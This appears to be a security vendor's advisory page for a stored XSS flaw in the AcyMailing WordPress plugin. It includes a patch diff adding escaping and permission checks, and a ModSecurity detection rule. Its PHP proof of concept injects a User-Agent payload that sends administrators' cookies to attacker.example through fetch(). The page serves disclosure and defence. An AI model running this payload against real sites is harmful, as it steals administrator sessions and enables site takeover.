             if ($status) {
-                acym_enqueueMessage(acym_translationSprintf('ACYM_CAMPAIGN_ADDED_TO_QUEUE', $campaign->name, 'info'));
+                acym_enqueueMessage(acym_translationSprintf('ACYM_CAMPAIGN_ADDED_TO_QUEUE', esc_html($campaign->name), 'info'));
             } else {
                 if (empty($campaignClass->errors)) {
                     $notification = [
                         'name' => 'queue_campaign_error',
                         'removable' => 1,
                     ];
-                    acym_enqueueMessage(acym_translationSprintf('ACYM_ERROR_QUEUE_CAMPAIGN', $campaign->name), 'error', true, [$notification]);
+                    acym_enqueueMessage(acym_translationSprintf('ACYM_ERROR_QUEUE_CAMPAIGN', esc_html($campaign->name)), 'error', true, [$notification]);
                 } else {
                     acym_enqueueMessage($campaignClass->errors, 'error');
                 }
--- a/acymailing/back/Controllers/Campaigns/Edition.php
+++ b/acymailing/back/Controllers/Campaigns/Edition.php
@@ -217,6 +217,7 @@
             }

             if (!empty($mailId)) {
+                wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');
                 $campaignClass->resetAbTestVersion($campaignId);
             }

@@ -601,9 +602,9 @@
         $campaignClass = new CampaignClass();
         $mailClass = new MailClass();
         $formData = acym_getVar('array', 'mail', []);
-        $versions = acym_getVar('array', 'versions', [], 'REQUEST', ACYM_ALLOWRAW);
+        $versions = acym_filterEmailVersions(acym_getVar('array', 'versions', [], 'REQUEST', ACYM_ALLOWRAW));
         $versionType = acym_getVar('string', 'version_type', '');
-        $allowedFields = acym_getColumns('mail');
+        $allowedFields = array_diff(acym_getColumns('mail'), ['id', 'creator_id', 'parent_id', 'type']);
         $campaignId = acym_getVar('int', 'campaignId', 0);
         $campaignType = acym_getVar('string', 'campaign_type', 'now');

@@ -654,7 +655,7 @@

         if (empty($mail->subject)) $mail->subject = acym_translation('ACYM_EMAIL_SUBJECT');

-        $mail->body = acym_getVar('string', 'editor_content', '', 'REQUEST', ACYM_ALLOWRAW);
+        $mail->body = acym_filterEmailHtml(acym_getVar('string', 'editor_content', '', 'REQUEST', ACYM_ALLOWRAW));
         $mail->settings = acym_getVar('string', 'editor_settings', '', 'REQUEST', ACYM_ALLOWRAW);
         $mail->stylesheet = acym_getVar('string', 'editor_stylesheet', '', 'REQUEST', ACYM_ALLOWRAW);
         $mail->headers = acym_getVar('string', 'editor_headers', '', 'REQUEST', ACYM_ALLOWRAW);
@@ -778,6 +779,9 @@
         if (empty($allListsUnselected)) {
             $allListsUnselected = [];
         }
+        $listClass = new ListClass();
+        $listClass->onlyManageableLists($allLists);
+        $listClass->onlyManageableLists($allListsUnselected);
         $campaignId = acym_getVar('int', 'campaignId');
         $addSegmentStep = acym_getVar('int', 'add_segment_step');

@@ -792,7 +796,7 @@
         if ((!$currentCampaign->sent || $currentCampaign->active) && !empty($currentCampaign->mail_id)) {
             $campaignClass->manageListsToCampaign($allLists, $currentCampaign->mail_id, $allListsUnselected);
             if (acym_getVar('string', 'nextstep', '') === 'listing') {
-                acym_enqueueMessage(acym_translationSprintf('ACYM_LIST_IS_SAVED', $currentCampaign->name));
+                acym_enqueueMessage(acym_translationSprintf('ACYM_LIST_IS_SAVED', esc_html($currentCampaign->name)));
             }
         }

@@ -884,6 +888,7 @@
         $sendingDate = acym_getVar('string', 'sendingDate');
         $sendingType = acym_getVar('string', 'sending_type', CampaignClass::SENDING_TYPE_NOW);
         $sendingParams = acym_getVar('array', 'sending_params', []);
+        unset($sendingParams['number_generated'], $sendingParams['trigger_text']);
         $specificSendingParams = [];
         $isScheduled = CampaignClass::SENDING_TYPE_SCHEDULED === $sendingType;

@@ -898,8 +903,12 @@
         }

         if (CampaignClass::SENDING_TYPE_AUTO === $sendingType) {
+            $triggers = [];
+            $fakeSettings = [];
+            acym_trigger('onAcymDeclareTriggers', [&$triggers, &$fakeSettings], 'plgAcymTime');
+
             $triggerType = acym_getVar('string', 'acym_triggers', '');
-            if (empty($triggerType)) {
+            if (empty($triggerType) || !array_key_exists($triggerType, $triggers['classic'])) {
                 acym_enqueueMessage(acym_translation('ACYM_ERROR_SAVING'), 'error');
                 $this->listing();

@@ -924,9 +933,6 @@
             }

             // Clean old settings saved in the campaign
-            $triggers = [];
-            $fakeSettings = [];
-            acym_trigger('onAcymDeclareTriggers', [&$triggers, &$fakeSettings], 'plgAcymTime');
             $settings = array_merge(array_keys($triggers['classic']), ['trigger_type', 'need_confirm_to_send']);
             foreach ($settings as $oneSetting) {
                 unset($currentCampaign->sending_params[$oneSetting]);
@@ -955,6 +961,7 @@
             $currentCampaign->sending_params = [];
         }

+        unset($sendingParams['segment'], $specificSendingParams['segment']);
         $currentCampaign->sending_params = array_merge($currentCampaign->sending_params, $sendingParams, $specificSendingParams);
         if (!empty($currentCampaign->sending_params['admin_notification_emails']) && empty($sendingParams['admin_notification_emails'])) {
             $currentCampaign->sending_params['admin_notification_emails'] = [];
--- a/acymailing/back/Controllers/Campaigns/Followup.php
+++ b/acymailing/back/Controllers/Campaigns/Followup.php
@@ -247,8 +247,9 @@
         wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');

         $mailId = acym_getVar('int', 'action_mail_id', 0);
+        $id = acym_getVar('int', 'id', 0);
         $followupClass = new FollowupClass();
-        if (!$followupClass->deleteMail($mailId)) {
+        if (!$followupClass->deleteMail($mailId, $id)) {
             acym_enqueueMessage(acym_translation('ACYM_COULD_NOT_DELETE_MAIL'), 'error');
         }

@@ -302,6 +303,15 @@
             $followup = $followupClass->getOneById($id);
             $followup->condition = json_encode($followupData['condition']);
         } else {
+            $triggers = [];
+            acym_trigger('getFollowupTriggers', [&$triggers]);
+            if (!array_key_exists($trigger, $triggers)) {
+                acym_enqueueMessage(acym_translation('ACYM_ERROR_SAVING'), 'error');
+                $this->listing();
+
+                return;
+            }
+
             $followup = new stdClass();
             $followup->name = '';
             $followup->display_name = '';
@@ -347,7 +357,7 @@
         }

         foreach ($followupData as $key => $data) {
-            if (!isset($followup->$key)) continue;
+            if (!isset($followup->$key) || in_array($key, ['id', 'trigger'], true)) continue;
             $followup->$key = $data;
         }

--- a/acymailing/back/Controllers/Campaigns/Tests.php
+++ b/acymailing/back/Controllers/Campaigns/Tests.php
@@ -6,6 +6,7 @@
 use AcyMailingClassesMailClass;
 use AcyMailingClassesUserClass;
 use AcyMailingHelpersMailerHelper;
+use AcyMailingHelpersSecurityHelper;
 use AcyMailingHelpersUpdatemeHelper;


@@ -268,8 +269,8 @@
             $headers = is_array($headers) ? implode("n ", $headers) : $headers;

             if (empty($headers) || preg_match('#^HTTP/.*s+[(200|301|302|304)]+s#i', $headers) !== 1) {
-                $brokenLinks[] = '<a target="_blank" href="'.$oneURL.'">'.(strlen($oneURL) > 50 ? substr($oneURL, 0, 25).'...'.substr($oneURL, strlen($oneURL) - 20)
-                        : $oneURL).'</a>';
+                $label = esc_html(strlen($oneURL) > 50 ? substr($oneURL, 0, 25).'...'.substr($oneURL, strlen($oneURL) - 20) : $oneURL);
+                $brokenLinks[] = preg_match('#^https?://#i', $oneURL) === 1 ? '<a target="_blank" href="'.esc_url($oneURL).'">'.$label.'</a>' : $label;
             }
         }

@@ -317,7 +318,20 @@
         $campaignClass = new CampaignClass();
         $campaign = $campaignClass->getOneByIdWithMail($campaignId);

+        if (empty($campaign)) {
+            acym_sendAjaxResponse(acym_translation('ACYM_CAMPAIGN_NOT_FOUND'), [], false);
+        }
+
+        if (!$campaignClass->hasUserAccess($campaignId)) {
+            acym_sendAjaxResponse(acym_translation('ACYM_ACCESS_DENIED'), [], false);
+        }
+
         $mailId = acym_getVar('int', 'mailId', 0);
+        $mailClass = new MailClass();
+        if (!empty($mailId) && $mailClass->getMainMailId($mailId) !== (int)$campaign->mail_id) {
+            acym_sendAjaxResponse(acym_translation('ACYM_ACCESS_DENIED'), [], false);
+        }
+
         if (empty($mailId)) {
             $mailId = $campaign->mail_id;
         }
@@ -338,7 +352,7 @@
                 if (!empty($spamtestSystem['messages']) || !empty($spamtestSystem['error'])) {
                     $msgError = empty($spamtestSystem['messages']) ? '' : $spamtestSystem['messages'].'<br />';
                     $msgError .= empty($spamtestSystem['error']) ? '' : $spamtestSystem['error'];
-                    $message = $msgError;
+                    $message = wp_kses($msgError, SecurityHelper::ALLOWED_HTML_MESSAGE);
                 } else {
                     if (empty($spamtestSystem['email'])) {
                         $message = acym_translation('ACYM_SPAMTEST_MISSING_EMAIL');
@@ -355,7 +369,7 @@
                         $receiver->enabled = 1;
                         $mailerHelper->isSpamTest = true;

-                        if ($mailerHelper->sendOne($mailId, $receiver)) {
+                        if (preg_match('#^https?://#i', (string)($spamtestSystem['displayURL'] ?? '')) === 1 && $mailerHelper->sendOne($mailId, $receiver)) {
                             $success = true;
                             $data['url'] = $spamtestSystem['displayURL'];
                             $data['lang'] = acym_getLanguageTag(true);
--- a/acymailing/back/Controllers/CampaignsController.php
+++ b/acymailing/back/Controllers/CampaignsController.php
@@ -86,11 +86,12 @@
     public function ajaxCountNumberOfRecipients(): void
     {
         $listsSelected = acym_getVar('array', 'listsSelected', []);
+        $listClass = new ListClass();
+        $listClass->onlyManageableLists($listsSelected);
         if (empty($listsSelected)) {
             acym_sendAjaxResponse('', ['recipients' => 0]);
         }

-        $listClass = new ListClass();
         acym_sendAjaxResponse('', ['recipients' => $listClass->getTotalSubCount($listsSelected)]);
     }

--- a/acymailing/back/Controllers/Configuration/License.php
+++ b/acymailing/back/Controllers/Configuration/License.php
@@ -10,6 +10,13 @@
     {
         wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');

+        if (!acym_hasAdminPermissions()) {
+            acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'error');
+            $this->listing();
+
+            return;
+        }
+
         $config = acym_getVar('array', 'config', []);
         $licenseKey = empty($config['license_key']) ? $this->config->get('license_key') : $config['license_key'];

@@ -32,6 +39,13 @@
     {
         wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');

+        if (!acym_hasAdminPermissions()) {
+            acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'error');
+            $this->listing();
+
+            return;
+        }
+

         $config = acym_getVar('array', 'config', []);
         if (empty($config['license_key'])) {
@@ -62,6 +76,17 @@

     public function attachLicenseOnUpdateMe(?string $licenseKey = null): array
     {
+        if (is_null($licenseKey)) {
+            wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');
+
+            if (!acym_hasAdminPermissions()) {
+                acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'error');
+                $this->listing();
+
+                return ['success' => false];
+            }
+        }
+

         //We get the license key saved
         if (is_null($licenseKey)) {
--- a/acymailing/back/Controllers/Configuration/Listing.php
+++ b/acymailing/back/Controllers/Configuration/Listing.php
@@ -292,12 +292,16 @@
         $this->handleAcl($formData);
         $this->handleSelect2Fields($formData);
         $this->handleDemoSite($formData);
+        $this->handleAllowedFiles($formData);
+        $this->handleCronSavePath($formData);
         $this->handleAcyChecker($formData);
         $this->handleNewDkim($formData);
         $this->handleEmails($formData);
         $this->handleUnsubSurvey($formData);
+        $this->handleConnectionPasswords($formData);

         acym_trigger('onBeforeSaveConfigFields', [&$formData]);
+        $this->removeAdminOnlySettings($formData);

         // Don't move this line in the if, we need to do it before the save
         $licenseKeyBeforeSave = $this->config->get('license_key');
@@ -315,6 +319,92 @@
         $this->config->load();
     }

+    private function removeAdminOnlySettings(array &$formData): void
+    {
+        if (acym_hasAdminPermissions()) {
+            return;
+        }
+
+        $adminOnlySettings = [
+            'wp_access',
+            'level',
+            'expirationdate',
+            'license_key',
+            'api_key',
+            'rest_api',
+            'acymailer_apikey',
+            'cron_key',
+            'cron_security',
+            'cron_savepath',
+            'uploadfolder',
+            'allowed_files',
+            'php_overrides',
+            'autologin_urls',
+            'autologin_groups',
+            'autologin_token_duration',
+            'allowed_hosts',
+            'different_admin_url_toggle',
+            'different_admin_url_value',
+            'mailer_method',
+        ];
+
+        $adminOnlyPrefixes = [
+            'acl_',
+            'acymailer_',
+            'amazon_',
+            'brevo_',
+            'elasticemail_',
+            'google_',
+            'mailgun_',
+            'outlook_',
+            'postmark_',
+            'sendgrid_',
+            'sendinblue_',
+            'sendmail_',
+            'smtp_',
+        ];
+
+        foreach (array_keys($formData) as $name) {
+            $name = (string)$name;
+            $lowerName = strtolower(trim($name));
+            if (in_array($lowerName, $adminOnlySettings, true)) {
+                unset($formData[$name]);
+                continue;
+            }
+
+            foreach ($adminOnlyPrefixes as $prefix) {
+                if (strpos($lowerName, $prefix) === 0) {
+                    unset($formData[$name]);
+                    break;
+                }
+            }
+        }
+    }
+
+    private function handleConnectionPasswords(array &$formData): void
+    {
+        $connectionSettings = [
+            'bounce_password' => ['bounce_server', 'bounce_port', 'bounce_connection', 'bounce_secured', 'bounce_certif'],
+            'smtp_password' => ['smtp_host', 'smtp_port', 'smtp_secured'],
+        ];
+
+        foreach ($connectionSettings as $passwordField => $settings) {
+            if ((isset($formData[$passwordField]) && trim($formData[$passwordField], '*') !== '') || empty($this->config->get($passwordField))) {
+                continue;
+            }
+
+            $storedSettings = [];
+            foreach ($settings as $setting) {
+                $storedSettings[$setting] = $this->config->get($setting);
+            }
+
+            if (acym_connectionSettingsChanged($formData, $storedSettings)) {
+                $formData[$passwordField] = '';
+                acym_enqueueMessage(acym_translation('ACYM_PASSWORD_CLEARED_CONNECTION_CHANGED'), 'warning');
+            }
+        }
+    }
+
     private function handleReplyTo(array &$formData): void
     {
         if ($formData['from_as_replyto'] == 1) {
@@ -382,6 +472,30 @@
     {
     }

+    private function handleAllowedFiles(array &$formData): void
+    {
+        if (!isset($formData['allowed_files'])) {
+            return;
+        }
+
+        $extensions = array_filter(array_map('trim', explode(',', strtolower($formData['allowed_files']))));
+        $extensions = array_filter($extensions, function ($extension) {
+            return preg_match('#^[a-z0-9]+$#', $extension) && !acym_isForbiddenFileExtension('file.'.$extension);
+        });
+
+        $formData['allowed_files'] = implode(',', array_unique($extensions));
+    }
+
+    private function handleCronSavePath(array &$formData): void
+    {
+        if (!isset($formData['cron_savepath']) || trim($formData['cron_savepath']) === '' || acym_isValidCronReportPath((string)$formData['cron_savepath'])) {
+            return;
+        }
+
+        unset($formData['cron_savepath']);
+        acym_enqueueMessage(acym_translation('ACYM_WRONG_LOG_NAME'), 'error');
+    }
+
     private function handleAcl(array &$formData): void
     {
         if (ACYM_PRODUCTION && acym_hasAdminPermissions()) {
@@ -409,6 +523,7 @@
             'multilingual_languages',
             'allowed_hosts',
             'unsub_survey',
+            'autologin_groups',
         ];

         if (acym_hasAdminPermissions()) {
--- a/acymailing/back/Controllers/Configuration/Mail.php
+++ b/acymailing/back/Controllers/Configuration/Mail.php
@@ -156,6 +156,13 @@
     {
         wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');

+        if (!acym_hasAdminPermissions()) {
+            acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'error');
+            $this->listing();
+
+            return;
+        }
+
         acym_trigger('onAcymOauthRevoke');

         $this->listing();
@@ -165,6 +172,13 @@
     {
         wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');

+        if (!acym_hasAdminPermissions()) {
+            acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'error');
+            $this->listing();
+
+            return;
+        }
+
         $this->config->saveConfig(
             [
                 'bounce_refresh_token' => '',
--- a/acymailing/back/Controllers/Configuration/Queue.php
+++ b/acymailing/back/Controllers/Configuration/Queue.php
@@ -8,16 +8,13 @@
     {
         wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');

-        $path = trim(html_entity_decode($this->config->get('cron_savepath')));
-        if (!preg_match('#^[a-z0-9/_-{}]*.log$#i', $path)) {
+        $reportPath = acym_getCronReportPath();
+        if (empty($reportPath)) {
             acym_enqueueMessage(acym_translation('ACYM_WRONG_LOG_NAME'), 'error');

             return;
         }

-        $path = str_replace(['{year}', '{month}'], [gmdate('Y'), gmdate('m')], $this->config->get('cron_savepath'));
-        $reportPath = acym_cleanPath(ACYM_ROOT.$path);
-
         if (is_file($reportPath)) {
             $result = acym_deleteFile($reportPath);
             if ($result) {
@@ -36,16 +33,13 @@
     {
         acym_noCache();

-        $path = trim(html_entity_decode($this->config->get('cron_savepath')));
-        if (!preg_match('#^[a-z0-9/_-{}]*.log$#i', $path)) {
+        $reportPath = acym_getCronReportPath();
+        if (empty($reportPath)) {
             acym_display(acym_translation('ACYM_WRONG_LOG_NAME'), 'error');

             return;
         }

-        $path = str_replace(['{year}', '{month}'], [gmdate('Y'), gmdate('m')], $path);
-        $reportPath = acym_cleanPath(ACYM_ROOT.$path);
-
         if (file_exists($reportPath) && !is_dir($reportPath)) {
             try {
                 $lines = 5000;
--- a/acymailing/back/Controllers/Configuration/Security.php
+++ b/acymailing/back/Controllers/Configuration/Security.php
@@ -36,6 +36,10 @@
      */
     public function checkDB(bool $fromConfiguration = true): array
     {
+        if ($fromConfiguration) {
+            wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');
+        }
+
         // Get the structure that the AcyMailing tables should have in the database
         $correctTablesStructure = $this->getCorrectTablesStructure();
         // Get the current structure of the AcyMailing tables and tries to repair/create them if needed
@@ -643,7 +647,7 @@
         ob_start();
         if (!empty($maliciousFiles)) {
             $message = acym_translation('ACYM_MALICIOUS_FILES');
-            $message .= '<ul><li>'.implode('</li><li>', $maliciousFiles).'</li></ul>';
+            $message .= '<ul><li>'.implode('</li><li>', array_map('acym_escapeHtml', $maliciousFiles)).'</li></ul>';
             acym_display($message, 'error', false);
         } else {
             acym_display(acym_translation('ACYM_NO_MALICIOUS_FILES'), 'success', false);
--- a/acymailing/back/Controllers/Configuration/Subscription.php
+++ b/acymailing/back/Controllers/Configuration/Subscription.php
@@ -4,6 +4,7 @@

 use AcyMailingControllersDashboardController;
 use AcyMailingHelpersHeaderHelper;
+use AcyMailingHelpersSecurityHelper;

 trait Subscription
 {
@@ -42,7 +43,14 @@
             'notifications' => $dashboardNotifications,
         ];
         $dashboardController->getDashboardNotifications($data);
-
+        foreach ($data['dashboardNotifications'] as $key => $dashboardNotification) {
+            if (isset($dashboardNotification['message'])) {
+                $data['dashboardNotifications'][$key]['message'] = wp_kses(
+                    (string)$dashboardNotification['message'],
+                    SecurityHelper::ALLOWED_HTML_NOTIFICATION
+                );
+            }
+        }

         ob_start();
         $headerHelper->displayNotificationCenterInner($notifications);
@@ -92,7 +100,7 @@
         $message = acym_getVar('string', 'message');
         $level = acym_getVar('string', 'level');

-        if (empty($message) || empty($level)) {
+        if (empty($message) || !in_array($level, ['success', 'info', 'warning', 'error'], true)) {
             acym_sendAjaxResponse(acym_translation('ACYM_ERROR'), [], false);
         }

--- a/acymailing/back/Controllers/ConfigurationController.php
+++ b/acymailing/back/Controllers/ConfigurationController.php
@@ -114,6 +114,13 @@
     private function loginForOAuth2(bool $isSmtp = true): void
     {
         // Step 1: prompt consent window to the user
+        if (!acym_hasAdminPermissions()) {
+            acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'error');
+            $this->listing();
+
+            return;
+        }
+
         $this->store();

         $redirectUrl = '';
@@ -133,11 +140,16 @@
         // Step 2: get the access and refresh tokens after the user is redirected to the config with a code in the URL
         $code = acym_getVar('string', 'code');

-        if (empty($code)) {
+        if (empty($code) || !acym_hasAdminPermissions()) {
             return;
         }

+        wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');
+
         $isSmtp = acym_getVar('string', 'auth_type', 'smtp') === 'smtp';
         acym_trigger('onAcymOauthCredentialsCreation', [$isSmtp, $code]);
+
+        // Step 3: drop the authorization code from the URL, it can only be redeemed once
+        acym_redirect(acym_completeLink('configuration', false, true));
     }
 }
--- a/acymailing/back/Controllers/Dashboard/Walkthrough.php
+++ b/acymailing/back/Controllers/Dashboard/Walkthrough.php
@@ -54,8 +54,8 @@
     {
         wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');

-        if (!acym_isAllowed('configuration')) {
-            return;
+        if (!acym_isAllowed('configuration') || !acym_hasAdminPermissions()) {
+            acym_sendAjaxResponse(acym_translation('ACYM_ACCESS_DENIED'), [], false);
         }

         $licenseKey = acym_getVar('string', 'licenseKey', '');
--- a/acymailing/back/Controllers/DashboardController.php
+++ b/acymailing/back/Controllers/DashboardController.php
@@ -44,7 +44,7 @@

         $splashJson = acym_fileGetContent(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON);
         $version = json_decode($splashJson);
-        if (version_compare($this->config->get('previous_version', '11.1.2'), $version->max_version, '>=')) {
+        if (version_compare($this->config->get('previous_version', '11.2.0'), $version->max_version, '>=')) {
             acym_deleteFile(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON);
             $this->listing();

--- a/acymailing/back/Controllers/Fields/Edition.php
+++ b/acymailing/back/Controllers/Fields/Edition.php
@@ -3,6 +3,7 @@
 namespace AcyMailingControllersFields;

 use AcyMailingClassesFieldClass;
+use AcyMailingHelpersSecurityHelper;
 use AcyMailingTypesOperatorType;

 trait Edition
@@ -110,6 +111,9 @@

     public function ajaxGetTables(): void
     {
+        wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');
+        $this->blockDatabaseFieldAjax();
+
         $database = acym_getVar('string', 'database');
         $allTables = acym_loadResultArray('SHOW TABLES FROM `'.acym_secureDBColumn($database).'`');

@@ -118,6 +122,9 @@

     public function ajaxGetColumns(): void
     {
+        wp_verify_nonce(acym_getVar('cmd', '_wpnonce'), 'acymnonce') || die('Invalid Token');
+        $this->blockDatabaseFieldAjax();
+
         $table = acym_getVar('string', 'table');
         $database = acym_getVar('string', 'database');

@@ -127,6 +134,13 @@
         acym_sendAjaxResponse('', ['columns' => $columns]);
     }

+    private function blockDatabaseFieldAjax(): void
+    {
+        if (!acym_hasAdminPermissions()) {
+            acym_sendAjaxResponse(acym_translation('ACYM_ACCESS_DENIED'), [], false);
+        }
+    }
+
     public function apply(): void
     {
         $this->saveField();
@@ -159,8 +173,19 @@
         $fieldClass = new FieldClass();
         $languageFieldId = $fieldClass->getLanguageFieldId();
         $field = acym_getVar('array', 'field');
-        $fieldDB = json_encode(acym_getVar('array', 'fieldDB'));
+        // The custom text is HTML by design, the input filter would strip it on WordPress. It is filtered below for non admin users
+        $rawField = acym_getVar('array', 'field', [], 'REQUEST', ACYM_ALLOWRAW);
+        if (isset($rawField['option']['custom_text'])) {
+            $field['option']['custom_text'] = $rawField['option']['custom_text'];
+        }
         $fieldId = acym_getVar('int', 'fieldId');
+        if (acym_hasAdminPermissions()) {
+            $fieldDB = json_encode(acym_getVar('array', 'fieldDB'));
+        } else {
+            $currentField = empty($fieldId) ? null : $fieldCl

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-128098
# AcyMailing <= 11.1.2 unauthenticated stored XSS via HTTP_USER_AGENT on the tracking endpoint.
# The vulnerable write path accepts an arbitrary User-Agent on the newsletter open/click tracking request.
# Legitimate browsers send well-formed User-Agent strings; a script-bearing UA is the exploit signature.
SecRule REQUEST_URI "@rx acymailing(_|%5F)?tracking" 
  "id:20261980,phase:2,block,status:403,chain,msg:'CVE-2026-128098 AcyMailing tracking User-Agent XSS',severity:'CRITICAL',tag:'CVE-2026-128098',tag:'attack-xss'"
  SecRule REQUEST_HEADERS:User-Agent "@rx <(script|svg|img|iframe|body|details|math|video|audio|object|embed)b|javascripts*:|on(error|load|click|mouseover|focus|animationstart)s*=" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-128098 - AcyMailing <= 11.1.2 Unauthenticated Stored XSS via User-Agent Header
//
// Requirements:
//   1. A valid AcyMailing newsletter has been delivered to an address the attacker controls.
//   2. The attacker extracts the mail_id and user_id from the tracked URL in that email.
//
// The script injects a payload into the User-Agent header of the tracking pixel request.
// When an administrator later opens the campaign statistics page, the stored payload executes.

$target_url = 'https://victim.example.com';
$mail_id    = 123;   // From the delivered newsletter tracking URL (?mail_id=...)
$user_id    = 456;   // From the delivered newsletter tracking URL (?user_id=...)

// Stored XSS payload. Executes in the admin context when the report view renders the User-Agent.
$payload = '"><svg/onload=fetch("https://attacker.example/c?"+encodeURIComponent(document.cookie))>';

// Common AcyMailing tracking endpoints. Try each until one returns 200/204.
$endpoints = [
    '/?acymailing_tracking=open',
    '/?acymailing_tracking=click',
    '/index.php?acymailing_tracking=open',
    '/wp-admin/admin-ajax.php?action=acymailing_tracking',
];

foreach ($endpoints as $endpoint) {
    $url = rtrim($target_url, '/') . $endpoint . '&mail_id=' . urlencode($mail_id) . '&user_id=' . urlencode($user_id);

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT        => 15,
        CURLOPT_SSL_VERIFYPEER => false,
        // The XSS vector: raw attacker-controlled User-Agent
        CURLOPT_USERAGENT      => $payload,
        // Small 1x1 GIF response is expected for tracking pixels
        CURLOPT_HTTPHEADER     => ['Accept: image/gif,image/*;q=0.8,*/*;q=0.5'],
    ]);

    $response = curl_exec($ch);
    $status   = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $err      = curl_error($ch);
    curl_close($ch);

    echo "[+] Sent to {$url}n";
    echo "    HTTP status : {$status}n";
    if ($err !== '') {
        echo "    cURL error  : {$err}n";
    }

    if ($status === 200 || $status === 204 || $status === 302) {
        echo "[+] Likely recorded. Payload will execute when an admin views the campaign statistics.n";
        echo "[+] Trigger: log into /wp-admin and open AcyMailing -> Campaigns -> Statistics for mail_id {$mail_id}.n";
        exit(0);
    }
}

echo "[-] No tracking endpoint returned a success status. Verify mail_id/user_id and target base URL.n";
exit(1);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.